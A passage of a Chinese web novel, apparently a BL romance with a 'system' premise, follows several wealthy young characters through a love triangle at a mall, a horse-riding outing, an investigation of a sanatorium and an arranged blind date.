祁琼音心里刚蹿起的火苗被周素的话浇灭了一些,声音也不似刚才雀跃:“我知道你是为我好。其实我也没想那么多,想做就去做了,这样以后就算想起来也不会留遗憾嘛,总比后悔没做要好。” “唉,你还是这个倔脾气。”周素在电话里叹了口气:“你想去就去吧,就算撞了南墙这不还有我吗,姐姐的怀抱永远朝迷路的小孩敞开。” 周素故作深沉的话把祁琼音逗笑了,笑着和周素说:“就知道你最好了。” 祁琼音挂了电话,思考着明天该带些什么才会显得不那么突兀。祁琼音目前在和别人合租,另外一个室友是个女孩,在她的那间屋子里养了一只小猫。 祁琼音和另外一个室友都不介意,所以小猫经常跑到客厅来玩,这会祁琼音的房间开着门,小猫乖巧地蹲在门口没有进来,探着头对她“喵”了一声。 看到小猫过来,祁琼音马上有了灵感,就决定做动物饼干了,可爱又好吃! “谢谢你啦,小朋友!”祁琼音笑着揉了揉小猫的脑袋。 “贺总,相关的资料都在这里了,您先过目。”钱特助给贺真递上一沓资料,全是关于这个叫康宸的医疗项目相关的,比他刚来公司时拿到的详尽数倍。 这个叫康宸的医疗项目是一个与医院合作,主打康养和复健的项目,主做医疗器械和护理,从现有资料来看风评还算不错,只是和贺家主业不符。 贺真翻到这个项目确立的时间,几乎已经是三十多年前的事情了,那时候甚至贺家都才发家没多久,现在看来确实很有问题,也不知道当时贺父是在什么情况下才会点头答应。 “当时的情况你知道多少?”这个项目建立时间太早,贺真只能试着问钱特助,看他是否清楚当时的具体情况。 钱特助却摇头了:“抱歉贺总,那时我还不在公司,等我来到公司时,这个项目已经开始运行了。不过……” 贺真听着钱特助未完的话,用眼神示意他继续说:“不用有顾虑,说吧。” 钱特助颔首:“其实关于这个项目的事我曾经问过您的父亲,似乎是您的父亲默许的,虽然挂在公司名下,但除了项目的负责人,一般很少有人知道和过问。” 贺真对钱特助的话并不意外,这个项目建立的时间比他出生都早,贺父不可能不知情,看来他今天回家有必要和贺父问问这个项目的具体情况。 钱特助对这个项目的了解不深,贺真翻着手中的资料,发现康宸的定点合作医院是淮市的一家疗养院,就算放在平时人也不算多,不过和项目的定位倒是很符合。 钱特助听说过这家疗养院:“这家疗养院虽然人少,但是服务很不错,淮市有些经济条件不错的人在产后术后都会选择过去疗养一阵子,所以口碑还不错。” 贺真觉得自己似乎抓到了什么,连忙追问钱特助:“你说淮市经济条件不错的人会选择去那家疗养院疗养,其中也包括贺家的人吗?” 听贺真这样一问,钱特助也不敢肯定:“这个暂时不能确定。不过这是您父亲投资的项目,大概率应该是有人去过的,毕竟也算是公司的业务之一了。”而且就算贺家人去了也不奇怪,别人知道也不会放在心上,毕竟这是贺家自己的产业。 贺真手指敲着桌子想着这个项目背后的事,他有些猜想,但眼下证据还不足,他还需要再深入调查一下。 “钱特助,临近毕业季,公司里是不是进了不少新人?”贺真忽然话锋一转,问了钱特助一个毫不相关的问题。 钱特助猜测着贺真的心思,点头肯定:“是的,但由于每个学校毕业时间不一,所以正式的报道时间统一定在了这个月底。贺总,您是要……” 贺真对钱特助说:“你和那家疗养院联系一下,把他们的入职体检安排在那家疗养院。当然,我也会去。” 贺真要是想知道其中的具体原因,最好的办法就是去看一下那家疗养院到底是什么情况。 钱特助了然:“我明白了,马上就去安排。” 钱特助离开之后,贺真留在办公室里处理其他事务,只是眼睛却总是是不是瞟向手机,手机却依然安安静静地没有任何新的消息提醒,连几个人的小群都出奇的安静。 奇怪了,他平时不是很活跃吗? “阿嚏!” 卓鹭元打了个喷嚏,分公司负责人马上让人把空调调高了点,迫不及待地和卓鹭元说起他们最新的进展:“卓总您慧眼识英,自从小祁来了之后,他们组的进展可比以前快多了,您先看看?” 负责人让祁琼音坐在自己旁边,抑制住心里的激动为卓鹭元讲解:“之前咱们公司的设计图太老了,很多技术现在的企业都不会用了。” 祁琼音讲解的声音非常自信,其中大部分术语和卓鹭元学的专业都没什么关系,他也听不太懂。但结果他能听懂,大致上无非是之后可以采用新设计图,制造降本增效的新型能源电池,盈利应该也会比之前增加不少。 卓鹭元很高兴,答应会和卓父商量,给这家分公司多拨点经费。 开完会之后负责人将卓鹭元请到休息室里,祁琼音却突然敲门进来,手上还提着一个小袋子,举起袋子递给卓鹭元:“卓总,我总算知道你为什么让我来这里工作了。这是我自己烤的动物饼干,是我你送给你的谢礼,请你一定要收下!” 卓鹭元没料到祁琼音会突然来这么一手,搞得他收也不是,不收也不是,尤其是这个最新进展和祁琼音息息相关,他不能现在泼冷水。 旁边负责人像是明白了什么,了然地对着卓鹭元挤眉弄眼,然后转身出去了,这下搞得卓鹭元很是难受:“礼物我收下了,我调你过来是因为合适,没有其他意思。” 祁琼音心里有些酸涩,看着卓鹭元的眼神从期待变得落寞,恰好门外传来熟悉的声音:“鹭元哥哥明明就来了,为什么不让我见他,给我让开啦!” “鹭元哥哥……你们在干什么!” 这段时间卓鹭元在家休养,出去也是和那几个朋友,郑曦问了几次他们死活不说在哪里,郑曦实在是没办法了才过来堵人,谁知道让她发现了新情况! 办公室里的卓鹭元脸上带着烦躁,那个女的却用一种郑曦十分熟悉的神情看着卓鹭元,郑曦一时没忍住大喊:“我只是几天没见鹭元哥哥,怎么又来一个绿茶啊!” 她还能赢吗? 第33章 第 33 章 “诶?你是帮了我的…… “诶?你是帮了我的那个好心人, 那天真是太感谢你了!”祁琼音看到。郑曦进来眼睛一亮,拉住她的手感谢地非常真诚:“原来你们都是朋友吗, 那我们真的很有缘分呢!” 郑曦抽回自己的手,眼神怀疑地看着祁琼音:“你别和我套近乎!我刚才可是都看到了,你看鹭元哥哥的眼神根本就不清白!你说,你是不是也喜欢鹭元哥哥?” 有贺真一个死绿茶郑曦就够难受的了,她可不想让自己的情敌再多一个呀。 原本祁琼音给他送饼干时他还不敢肯定对方对自己有意思,但现在连郑曦都看出来了, 那祁琼音的意思也不用多说了。 拒绝别人的这套流程卓鹭元已经十分熟练了,张口就说:“抱歉,虽然我现在是单身, 但我目前没有任何恋爱的打算, 谢谢你的好意。” 卓鹭元说完就走, 临走前还不忘找负责人澄清一下自己只是欣赏祁琼音,并没有别的意思,免得公司里传出什么谣言来。 郑曦觉得自己今天倒霉极了,自从贺真回国以来,和鹭元哥哥相关的事情没有一件是顺利的,现在看祁琼音也不顺眼起来:“都怪你, 我好不容易见到鹭元哥哥,现在他为了躲清静又跑了。” 祁琼音在做饼干时就已经做好了。心理准备,所以现在还好,甚至还有心情安慰郑曦:“对不起,我也不知道卓总对感情的事很敏感。其实我也只是有点喜欢卓总而已,今天也没想告白的。” 祁琼音向郑曦道歉,郑曦反而觉得别扭起来:“行了,我也就是那么一说, 其实鹭元也总是躲着我。对了,你怎么会在这里,找到工作了?” 说到这个祁琼音就变得开心了:“对呀,我投了简历,现在就在这里上班,比以前多赚好多呢!” 郑曦看了一眼祁琼音身上穿的衣服,一看就是几十块钱的便宜货,看着和没毕业的大学生似的,下意识臭着一张脸:“你赚钱了也不舍得给自己买一点好衣服,连我都知道先敬罗裳后敬人的道理。算了,为了。防止你给鹭元哥哥丢人,和我走!” “诶?你要带我去哪?离下班时间还有十五分钟呢!”郑曦拉住祁琼音的手把他向外带去,郑曦霸气地说:“当然是陪我去逛商场买衣服了,我去和他们负责人说。” 自从郑曦开始远离唐菱之后,连平时出去玩也变得没意思了。反正她这会心情有些郁闷,不如拉着祁琼音陪自己逛商场,顺便偷偷观察一下对方,正好一举两得。 她可真是太聪明了! 自从卓鹭元决定搞搞事业分散注意力之后,卓父就乐见其成地又分了一部分权给他,重点把乔家赔偿的那块地交给他做决定,美其名曰反正也是给你的。 卓鹭元只好忍着自己想玩的心,老老实实带着手底下的人做规划,决定那块地到底朝什么方向开发。 公司里的人意见分为两派,一方认为建成写字楼合适,刚好附近的企业也多,他们能依靠这块地打造一个小型CBD,刚好也蹭蹭附近商圈的人气。另一方认为还是建成一个商业广场合适,虽然面积不大,但租金上可以想办法,回款也快。 两方拿出的计划书各有优劣,但卓鹭元总觉得这块地的上限不至于此前,所以一直没有明确决定,回到家时心里还在想着这事,连吃饭也吃得心不在焉。 卓父看不下去他这样,咳了一声:“元元,有什么事和老爸说说?” 卓鹭元用筷子戳了戳碗里的肉:“还不是那块地的事,说什么的都有,最后让我拿主意,我这不是没想好吗。” 卓父知道最近自己儿子辛苦了,工作起来比起以前那可不是一般的认真。不过卓鹭元肯上心是好事,卓父也没准备打击他:“其实。你不用急在一时,可以多观望一下。” 卓鹭元拿筷子的手一顿,抬眼看着卓父:“嗯?你怎么突然说这种话,是不是听到什么风声了?” “臭小子,你怎么把你爸说得像做什么见不得光的生意一样!”卓父用没什么威慑力的眼神瞪了卓鹭元一眼,继续说道:“听说最近有竞拍会,你要是感兴趣可以做点准备参加一下。当然,我要把关的。” 还有这种好事? 卓鹭元把筷子一放:“真的?那我得去看看,我还没参加过,得早点做准备,明天我就去找城哥问问有没有什么要注意的。” 城哥?卢家那小子吗? 卢家也是做房地产的,而且公司体量不小,说难听点两家是同行,卓父下意识皱眉:“元元,虽然爸爸不想干涉你交朋友的事,但有些事还是要提醒你一句。我们两家都是做房地产的,请教经验可以,但涉及到公司的事情一定要谨慎再谨慎。” 卢俊城比卓鹭元早接手公司,他对自己儿子要是善意也就罢了,万一存点恶意,凭自己儿子还真不一定玩得过对方。 卓父说完想想还是不放心:“元元,你有没有考虑过换个人请教?我看阿真就不错,那孩子和我们家关系好,主业上也没有什么竞争关系,最重要的是那孩子一看就是个心性正的,你看看上次帮你多大的忙。” 卓鹭元的脸色有一瞬间的不自然,然后又故作轻松地说:“哎呀,我那不是怕给他添麻烦吗,我自己心里有数。”其实没数,就是因为没数才他不敢去找贺真。 “行行行,你自己心里有数就行。对了,我听说前几天你去分公司了,是公事还是私事啊?”卓父揶揄的眼神让卓鹭元有种解释不清的无力感,只是敷衍的回答了一句:“公事。别想了,我都不喜欢。” 卓父看着卓鹭元也发愁,担心是上次乔昱褀的事给他心理留下阴影,尤其是对于恋爱这一方面,这样下去可怎么是好。卓父试探着拍了拍他的肩膀:“是不是还在担心上次乔家那王八蛋的事?你放心,有爸爸保护你,而且圈子里也不是每个人都对男人有那种心思,你不要因为他有心理阴影。” “咳咳、咳!我没事,没什么心理阴影。”卓鹭元一口饭差点噎在喉咙,他总不能告诉他爸,自己不仅没有因此对男人有心理阴影,而且还疑似对贺真动心半夜做梦吧? 这不好,老头儿哪经得起吓。 卓鹭元吃完就跑回房间里,给卢俊城发消息商量竞拍会的事:“城哥,听说最近可能有一场竞拍会,你如果你也准备参加的话我们能一起去吗,我还是第一次参加。” 卢俊城过了几分钟回复他:你的消息还挺灵通的。我们可以一起去,我等一会给你发一些注意事项,你可以在去之前先看看。 卓鹭元:好,谢谢城哥。城哥这次参加竞拍会,是有你想拍的地吗? 卢俊城:暂时有这个意向。你的运气不错,听说这次竞拍的土地有几块在城东那边,刚好离乔家赔你的那块地不远,你可以早做准备了。 卓鹭元喜滋滋地回了个表情包,准备明天奖励自己出去转转,趁机放松一把。 第二天卓鹭元穿好衣服,打开衣柜摸到那只蓝宝石袖扣时手指突然顿住了。上次他把其中一只作为约定给了贺真,现在一对漂亮的袖扣只剩下孤零零的一只,看着有些可怜。 反正今天也要出去,不如去买一对新的好了。 卓鹭元开着车去了之前和贺真去过的那家商场,目标明确地进了那家饰品店,拒绝了店员的服务,自顾自地挑选起来。 他有一段时间没来,店里又多了些新的样式,其中最吸引他的是一对像血滴一样的红宝石袖扣,卓鹭元看到就走不动了:“就这个了。” 卓鹭元付款之后就想试戴,拿起后才反应过来自己今天穿得不是西装,只好遗憾地放回盒子,准备今天拿回去和那只袖扣做个伴。 卓鹭元买完袖扣,估摸着盛俊文差不多也该回来了,于是直接打了个电话过去,响了好几声对方才接:“元儿,怎么了?我还没回来呢。” 不打自招,卓鹭元都懒得戳穿他:“别装了,我都听到背景音里你老妈喊你吃饭的声音了。晚上有没有时间,出来玩呗?” 盛俊文尬笑两声,听出来卓鹭元这是要翻篇的意思,那他还装什么失联:“没问题没问题,老地方不见不散!” 卓鹭元拎着新的袖扣,走到门口时却突然停住脚步,然后转身倒退,但还是被人发现了:“鹭元哥哥,你怎么在这里啊!” “啊,是卓总!上次我送你的饼干怎么样,还和你胃口吗?” 卓鹭元没躲掉,只好认命地转过身,在心里吐槽自己运气不好,强行露出一个笑脸和两人打招呼:“好久不见,你们也来逛街啊。” 郑曦和祁琼音逛过一次街之后就对她满意得不得了,总是夸她穿新衣服好看,态度还十分真诚,所以郑曦也就时不时拉着对方来转一转,这会拉着祁琼音一左一右地站在卓鹭元身边。 卓鹭元本来打算应付完两人就走,耳边却又多了一道熟悉的声音: “好巧,上次你给了我一直袖扣,我本来想买一对还给你的。”贺真看了看卓鹭元一左一右的郑曦和祁琼音,好嘛,女主和女配都齐了。 贺真垂下眼眸:“看来我来得不是时候。” 第34章 第 34 章 一个小时前,贺真正…… 一个小时前, 贺真正准备通知开会的时候,在桌子下面趴着的系统突然拍了拍他的腿:“宿主, 宿主!” “怎么了,我马上要开会,长话短说。”贺真低头看了茶茶一眼,茶茶调出系统面板给贺真看:“宿主,支线任务更新了,这条支线奖励积分好高, 有一千分呢!” 平时只有主线剧情才会有上千的积分,所以系统发现之后第一时间就告诉了宿主,怕宿主错过这个赚积分的好机会。 贺真认命地放下文件, 漫不经心地打开看了一眼, 随即眯起双眼。 【支线任务:请宿主在规定时间内前往指定任务地点, 完成修罗场剧情。作为一名优秀的绿茶女配,应该学会合理利用修罗场助推男女主感情。】 贺真自从开始做任务之后,也读了不少这个世界的书,特指和绿茶女配相关的书。修罗场他知道是什么意思,无非是几个追求者同时和被追求的人碰面,也就是说除了卓鹭元和祁琼音, 说不定郑曦也在。 为了积分,贺真还是放弃了现在开会的想法,点了接受任务之后,系统就标记了一处淮市的商场,贺真一看还是他和卓鹭元曾经去过的那一家。 贺真的心情有些微妙,卓鹭元上次一声不吭地溜走也就算了,这段时间他忙着整理贺家内部的事,卓鹭元这家伙还真能一条消息都不发, 甚至心情好到逛商场。 呵呵,亏他怕错过消息还特地关掉了手机的静音,他今天要是不去卓鹭元面前晃一晃都对不起修罗场这个任务。 “茶茶,走了。”贺真拿着车钥匙往门外走,系统连忙屁颠屁颠地跟在宿主后面:“咦,宿主这么快就接好任务了?等等我!” 而当贺真赶到商场的时候,看到的就是卓鹭元左边一个郑曦,右边一个祁琼音的画面,所以想也不想就脱口而出:“看来我来得不是时候。” 卓鹭元听到贺真的话,连忙往他这边走了两步,企图和两个女生撇清关系:“我是自己来的,上次你送我的袖扣给了你一只,我想来买一对新的,没想到刚好碰到她们。” 绝对不是约好的! 贺真还没说话,郑曦倒是先生气了:“什么?!你还偷偷给鹭元哥哥送礼物?不行,我也要送,鹭元哥哥我们现在就去选袖扣吧,以我的。眼光,保证比那死绿茶挑的还好看!” 贺真看了一眼郑曦,不吵也不闹:“看来已经有人陪你逛街了。早知道她来,我就不来了。抱歉,公司里还有点事,我先走了。” 卓鹭元看着贺真说完就快步往外走,也顾不上回答郑曦的问题,对着她和祁琼音说了。再见以后就追了出去:“我还有点其他事,回见!” 贺真走得太快,他刚追出门对方就没了踪影,正当他懊悔着急时,藏在一边的贺真才开口:“嗯,跑得很快。” 卓鹭元扭头看着贺真从旁边走出来,戏谑地看着自己:“和上次溜走的速度一样快。” 卓鹭元:“……” 他上次又不是故意的,谁让他偷听这事儿不仅不占理,而且也不好说出个理由。而且那天喝醉的贺真说话的方式让他有些难以招架,他脑子一热就…… 卓鹭元眼珠一转,看天看地就是不看贺真:“那个,家里喊我回去吃饭,临时有事,不是故意的。” “凌晨三点吃饭,看来鹭元哥哥的生活作息不太健康啊。”贺真看了眼人来人往的商场,问卓鹭元:“换个地方聊聊?” 卓鹭元差点忘了那天自己回去都半夜了,听到贺真揶揄自己有些恼羞成怒:“是我不对,不应该让盛俊文灌你的酒,还偷跑把你留在酒吧,你也不用这么说我吧。” 贺真听着积分到账的声音,心情总算好了一些:“今天天气不错,去马场跑两圈?听伯父说你最近在忙公司的事,应该很辛苦吧?” 卓鹭元今天本来也是想出来放松一下,听了贺真的话也觉得这个提议不错:“这个主意不错,我最近快累死了,又要考虑那块地的规划,还要准备竞拍的事情。” 贺真笑了一下:“这才刚开始,以后需要你操心的事情还很多。我今天也是开车过来的,我们马场见?” “好,那就马场见。”卓鹭元回到自己车上,打开导航慢慢悠悠地开着。 马场人不多,贺真换好骑装就先去看了威风,威风还是那副很有精神且看不上其他人和马的样子,唯独在看到贺真过来时撒着欢跑了过来,快到贺真面前时又矜持的低下头,才不是在等你呢。 “它居然还认得你。”卓鹭元看着帅气的威风,心里有点小羡慕,威风真的是一匹很特别的马。 贺真伸手摸了摸威风:“好久不见。” 卓鹭元看着心痒,也去牵了自己的马过来。卓鹭元的马是一匹白马,属于性情比较温顺的那种,通身的白色毛发被打理得很顺滑,摸起来一定很舒服。 “我可以摸它吗?”贺真看着那匹白马,忍住了调侃卓鹭元白马王子的冲动问他,他要是敢调侃卓鹭元,对方肯定不让他摸了。 卓鹭元把马牵过来:“可以呀,惊雪脾气可好了。” 贺真伸手摸了摸,果然和想象中一样好摸,比茶茶好摸多了。 威风不满地用头拱了拱贺真,不许忽视它! 贺真只好翻身上马,邀请卓鹭元:“走,跑两圈?” “当然!”卓鹭元也骑上惊雪,两个人放开了在马场里跑了两圈,威风开心得不得了。贺真看他开心,也没拘着它,骑在马上和卓鹭元聊天:“祁琼音和郑曦怎么在一起逛街?” 卓鹭元无奈地叹了口气:“当时我不是想找助理吗,一时也没什么合适的人选,索性就让她过来试试。结果她那个冒失的性格你也知道,我怕得罪人,就把她放到分公司去了。谁知道郑曦来找我一回就碰到了,后来我就不知道了。” 原来是这样。 卓鹭元前些日子心虚,硬生生忍着心痒没和贺真联系,结果今天就意外碰到了,那刚好他也不打算躲了:“你怎么知道我最近很忙,我爸告诉你的?” “嗯,”贺真点头:“你和伯父说想去找卢俊城请教,伯父不放心,想让我稍微劝你一下。”不过卓父的想法贺真也能理解,同行嘛,不给对方下绊子就不错了,哪还能和和气气的和竞争对手讨论公司业务上的事情。 卓鹭元“哦”了一声,声音说不上开心还是不开心:“你是不是和我爸一样,也觉得我和城哥之后会成为对手,或者和我闹掰?”其实他心里有些泄气,理智上他知道自己应该相信老爸的建议,但感情上他和卢俊城也是一起玩了很多年的好兄弟,难免心里有些不舒服。 卓鹭元以为贺真也会赞同卓父的想法,贺真却摇了摇头:“未来有很多可能性,谁也说不准。与其担心以后他会不会和你为了生意场上的事反目,你自己的想法更重要。” “我自己的想法?”卓鹭元喃喃地重复了一遍。 “嗯。”贺真看着卓鹭元的样子,估计真的和卢俊城关系很好了:“大多数人做事前都会衡量,比如做错事会受到惩罚,但如果这个惩罚在他承受范围之内,那也就无所谓了。所以我才说你的想法更重要,只要你可以承受风险带来的后果,也未尝不可。” 贺真瞥了一眼站在威风头上狐假虎威的系统,没打算管它,让它继续自己玩着。 卓鹭元因为贺真的话陷入沉思,贺真见他有了主意,打了个响指把注意力转移过来:“我给你提建议,你也帮我一次?” “什么事?”卓鹭元打起了精神,贺真也有需要他帮忙的事情吗? “这家疗养院你知道吗?”贺真拿出手机,打开资料递给卓鹭元看,他不在国内,但卓鹭元可是一直在的,说不定还真知道,同时问他也不会惊动其他人。 图片上的疗养院很眼熟,卓鹭元看了两眼就还给贺真了:“知道啊。这家疗养院开了挺久的吧,我以前听我妈说她的朋友生完孩子还会去里面住一段时间,而且服务也不错。怎么了,这家疗养院有问题吗?” 贺真沉默了一会,忽然问卓鹭元:“你知道具体都有谁去过吗?” 卓鹭元摇摇头:“这我还真不知道,起码我妈没去过,她嫌外面没有家里舒服,她的朋友好像有几个。需要我帮你问问吗?” “暂时不用了。”贺真说完之后又安静了下来,似乎正在思考些什么。 卓鹭元一时有些无聊,看着贺真的侧脸有些不满,小声嘀咕了一句:“喝醉了还知道撩人,怎么清醒了开始装木头,酒后吐真言都是骗人的。” 贺真原本在想着事情,后知后觉地发现空气有些沉默时觉得有些对不住卓鹭元,准备开口打破沉默时就听到了对方小声嘀咕的话。 骗人? “我没骗你,”贺真拉了一下缰绳:“那天在酒吧说的话都是真的,追我的人是男是女对我来说不重要。本来我想把后半句话也说出来的,可惜某人跑得太快了,连小耳朵也被带走了。” 卓鹭元愣了一下,好像那天贺真确实还没说完话就被其他事打断了,后来他就直接找到了自己这里,卓鹭元就很怂地偷跑了。 问一下应该不要紧吧? 卓鹭元咳了一声:“那你…那你说完呗,听话听半句挺难受的。” 等人等一半更难受。贺真看了卓鹭元一眼,说出了那天没说完的后半句话:“遇到对的人,最重要。” 第35章 第 35 章 遇到对的人最重要。…… 遇到对的人最重要。 卓鹭元在心里反复回味着贺真说的这句话, 却始终摸不透他的想法,对贺真来说什么是对的人呢? 但卓鹭元不敢再问下去了, 既怕答案是自己想要的,又怕答案不是自己想的那样。 贺真显然也不准备沿着这个问题深入地聊下去,两个人一时有些相顾无言,十分默契地没提那天在酒吧为什么卓鹭元会在意贺真的感情问题。 贺真如今对自己的想法也不是那么确定,今天接下那个限时任务他有冲动的成分在,怕因为纠结错过什么, 以后会让自己后悔。 贺真有心想要说些什么,脑海里系统忽然想起的提醒声却让他把到嘴边的话又咽了回去,转而提起了另一件事:“你听说了吗, 乔家那个新能源项目的合作方定了, 最近应该就要联合召开发布会。” “没有。”自从上次那件事后, 卓鹭元就在刻意回避一切和乔家相关的消息,卓父就算知道也不会和他提起,他也再也没见过乔昱褀。 卓鹭元对那个项目并不关心,但还是多问了一句:“他们和谁合作了?” “启恒,它的老板姓杨,你应该知道是谁。”据贺真的了解, 这个杨总和卓父也是多年的朋友,贺真也没想到最后是他和乔家合作了。 贺真都知道的事情,卓鹭元作为卓父的儿子怎么可能会不知道,游玩的心情也减了大半,脸色难看地拉着缰绳往回走:“我想回去问一下这件事,改天再一起骑马吧。” 贺真是有意选择这个话题,借以避开两个人之间的问题。但看着卓鹭元一个人纵马离开的背影,贺真下意识叫住了他:“卓鹭元!” “什么事?” 卓鹭元骑马转身, 逆着光看着贺真,让人看不清他的表情。 “如果不开心了,可以随时找我,我的手机不开静音。”贺真没头没尾地说了这么一句,卓鹭元心里却稍稍被点亮了一块角落,笑着回他:“嗯!” 卓鹭元离开后,贺真也没有继续留在马场的打算,安抚完威风之后就回了家里,关上卧室的门把系统叫出来:“主线剧情是怎么回事?” 刚才他在马场的时候,脑海里突然弹出系统的提示音,说是主线剧情修好了。贺真不清楚情况,不敢贸然对卓鹭元说些不符合剧情的话,只好把话题岔开,等回来之后再问系统。 茶茶打开系统面板,指着更新公告和宿主解释:“宿主,主线剧情修好了!不过这次的主线剧情和之前不太一样,为了防止。主线剧情再次崩溃,主系统打了个补丁,宿主看这里!” 茶茶点开主系统更新的补丁给宿主看:“这个是智能修正小助手,会根据主线剧情的实际情况调整主线任务的内容,是主系统特地上限的新插件。” 智能修正小助手? 按照贺真的经验,名字里带着智能的一般都不怎么智能。贺真好奇地点了开始下载,几乎是瞬间就下载好了,神奇的是这小东西甚至还有声音:“叮咚!智能修正小助手001号为您服务!” 001号的声音像是个俏皮的小孩,是和茶茶完全不同的类型。茶茶忽然有种危机感,一屁股顶飞001,蹲坐在贺真面前卖萌:“只是语音播报,茶茶也可以的。宿主,我看这个001有点智障,不然我们出门别带它了吧?” 贺真没理它,系统都是和他绑定的,什么出门不带001根本不可能,想也知道是茶茶在发癫。 智能修正小助手001号的外形是一个像史莱姆一样的圆形光团,贺真捏了捏手感很好,软软的像果冻一样。茶茶伸爪把001号拍开,自己的猫头顶了上去:“宿主,还是带毛的好摸吧?” 贺真:…… 这有什么好争的吗,看不懂。 卓鹭元低落的心情在听到贺真的话时好了不少,所以和卓父问起这件事时也少了点生气:“爸,听说乔家那个新能源项目的合作方定了。” 卓父面色不改,反问卓鹭元:“嗯,前几天的事,我觉着你不想听,所以也没告诉你。你又是从哪听说的?” 嘁,他爸还跟他装呢,卓鹭元开门见山地说:“谁让你去找贺真聊天,这我不就知道了。杨叔都是你多少年的朋友了,你俩有事没事就去钓鱼、打高尔夫,这次我们家出了这么大的事,杨叔怎么还和乔家合作了?” 卓鹭元还有些话没说出口,但卓父不可能不明白。卓父和他的私交不错,这次在明显乔家不占理的情况下他还和乔家合作,摆明了不把卓父当朋友,也没把卓家放眼里。 卓父见他都知道了,也就不和他打太极了:“你小子,都知道了还在这逗你爹玩。没错,我听到的时候也很惊讶,不过后来想想也正常。生意是生意,感情是感情,商人都重利,他去和乔家合作也不是什么很难理解的事。” 卓鹭元不相信地撇撇嘴,别看老头儿嘴上这么说,他要是真不在意,前段时间就不会对自己那么耳提面命,又是自己说又是找贺真的,还不是老头儿自己伤心了。 不过卓鹭元也不想戳破他老爸的自尊心,只当自己没听出来:“行吧。我妈呢,怎么最近都没见到她?” “她一个朋友的孩子结婚,那家人在京市,你妈她过去观礼顺便玩一段时间。你看看别人家孩子都结婚了,你还天天跟着你那几个朋友玩。玩也就算了,都是一圈光棍,连一个有女朋友的都没有。”卓父说着说着话头就转到了卓鹭元身上,越说越觉得自己委屈:“你想干什么我和你妈都不拦着你,可你身边总得有个伴吧?” 卓鹭元马上捂住耳朵:“那什么,亮子不是谈过女朋友吗,怎么就一圈光棍了。”李尚乐和杨一群还为女主播大打出手呢,虽然说出去有点丢人。 卓父瞪了卓鹭元一眼:“他那是正经女朋友吗,没两个月就被扫.黄带走了,要不是你那朋友确实不知情,说不定也被抓去了。” 啊?还有这事?他没听亮子说过,还以为是和平分手呢。 卓父说着说着给卓鹭元丢了一个重磅炸弹:“你要接手公司的事是好事,但终身大事也不能因此耽误了。白家的姑娘人不错,你也认识,你妈都已经帮你联系好了,这个周末你去约人家吃个饭,互相了解一下。” “啊?我不要去相亲,我还年轻着呢!”卓鹭元一听就要拒绝,但卓父根本不给他拒绝的机会:“你要是敢不去,我就把你的卡停了,顺便让你那些朋友也不许接济你。再说了,只是让你去吃个饭而已,又不是绑着你去结婚。” 卓鹭元见实在推不掉,只好赌气不和卓父说话,关起门来自己生闷气。他回房间没多久,果然有人加他的绿泡泡,备注是白歆然,他只好憋屈地通过了好友申请,尽量用最少的话进行沟通。 白歆然说的话无非是那些“你还记得我吗”和“好巧我也是单身”,卓鹭元回了两句觉得没意思,和对方约好周末见面的时间地点就把手机扔到一边去洗澡了,出来时也忘了这回事,愉快地打了会游戏就准备睡觉。 卓鹭元刚闭上眼睛,忽然想起来自己的手机好像没开提醒,怪不得对方这么安静。卓鹭元忍着困意打开手机,果然。消息被。折叠在APP里了,他赶紧又回了一句,要不然看起来不太尊重别人。 卓鹭元躺在床上,忽然想起来白天贺真对他说的那句话的后半句话,他的手机不开静音? 卓鹭元猛地从床上坐起来,打开自己和贺真的聊天记录,上一条甚至已经在一个多星期以前了,他更是没给对方打过电话。 他自己平时手机里的消息就多,尤其是那几个话多的人还喜欢水群,多半时间都开着静音,想起来了才点进去看一眼,贺真这个忙人的消息只会比他更多。 可是他说,他的手机不开静音,会不会意味着其实贺真也在一直等他的消息,怕开了静音之后错过。 卓鹭元忍不住想,这是只有他一个人有的待遇,还是其他人都有的? 卓鹭元用被子捂住头,越想越睡不着,心里像有只猫爪在挠,他到底什么意思啊! 算了,遇事不决睡大觉,明天继续想! 与此同时,贺真的面板里也刷出来最新的主线任务:【主线任务:请宿主在规定时间内前往任务地点,完成干扰主角相亲任务,具体主线台词将在任务地点发布哦!】 001播报主线任务的声音欢快又俏皮,据说是主系统为了关注任务者心理健康的防抑郁手段,特地选了这么一个欢快的声音,但听在贺真的耳朵里只剩聒噪。 001号有点智能,但不多,看到贺真没有接取任务还会进行二次确认:“请宿主尽快接取任务,辅助推动男女主感情发展哦!” 按照主系统的逻辑,身为一名优秀的绿茶女配,自然要赶走男主身边除了自己之外的所有人,然后顺便被男女主打脸后黯然退场。 先是修罗场,后面又是相亲,贺真冷笑一声点了接取任务,意味不明地对001号说:“好啊,我一定会好好辅助的。” 茶茶打了个冷颤,悄悄后退了两步。 001号这个人工智障,真是哪壶不开提哪壶,没看宿主快弯了吗,还把卓鹭元往女主那里拱,它自己都只敢说一句“你好.骚哦”。 茶茶打定主意以后要离它远点,和这个人工智障争风吃醋可太丢份了,它还是继续看它的《后宫心计》吧。 第36章 第 36 章 周六,Violet…… 周六, Violette餐厅。 今天是卓父给卓鹭元下命令去相亲的日子,卓鹭元站在镜子前看了又看, 还是把那对红宝石袖扣拆了下来,挑了一身中规中矩的衣服穿着,既不失礼也不出挑。 卓鹭元早到一些,待白歆然到底时候还很绅士地替她拉开椅子,白歆然对卓鹭元温柔一笑,心里对他的印象好了不少。 和卓鹭元中规中矩的衣服比起来, 白歆然算得上盛装出席,身上的裙子还是定制礼服,看得出很重视这场相亲。 事实上也确实如此, 白歆然之前一直听说过卓鹭元, 但只有见面了才知道外界对于卓鹭元容貌昳丽的形容并不夸张, 比她见过的许多人都还要好看,其中也包括她自己。 卓鹭元对侍者示意可以开始,忽然想起什么问对方:“有忌口吗?” 白歆然摇头:“没有,这样就很好。” 卓鹭元点点头,他认识白歆然,但这个认识仅限于听说过, 至于其他关于白歆然的事一无所知,他也没心思打听,赶快把这顿饭应付了,再和老爸说两人性格不合完事。 白歆然见卓鹭元没有要和她聊天的意思,脸上的笑容浅了浅,试着抛出一个话题:“听伯父说,卓先生现在正在慢慢接手盛辉,一定很辛苦吧?当初我哥哥接手公司时也是这样, 人都累瘦了。” 卓鹭元听着白歆然叫伯父的样子,不知怎的又忽然想起了贺真,不过贺真比白歆然叫得自然多了,不像白歆然语气中还有些生疏。 都怪贺真,莫名其妙的一句话又让他昨晚上没睡好,忍不住探究自己对他到底是不是那个例外。 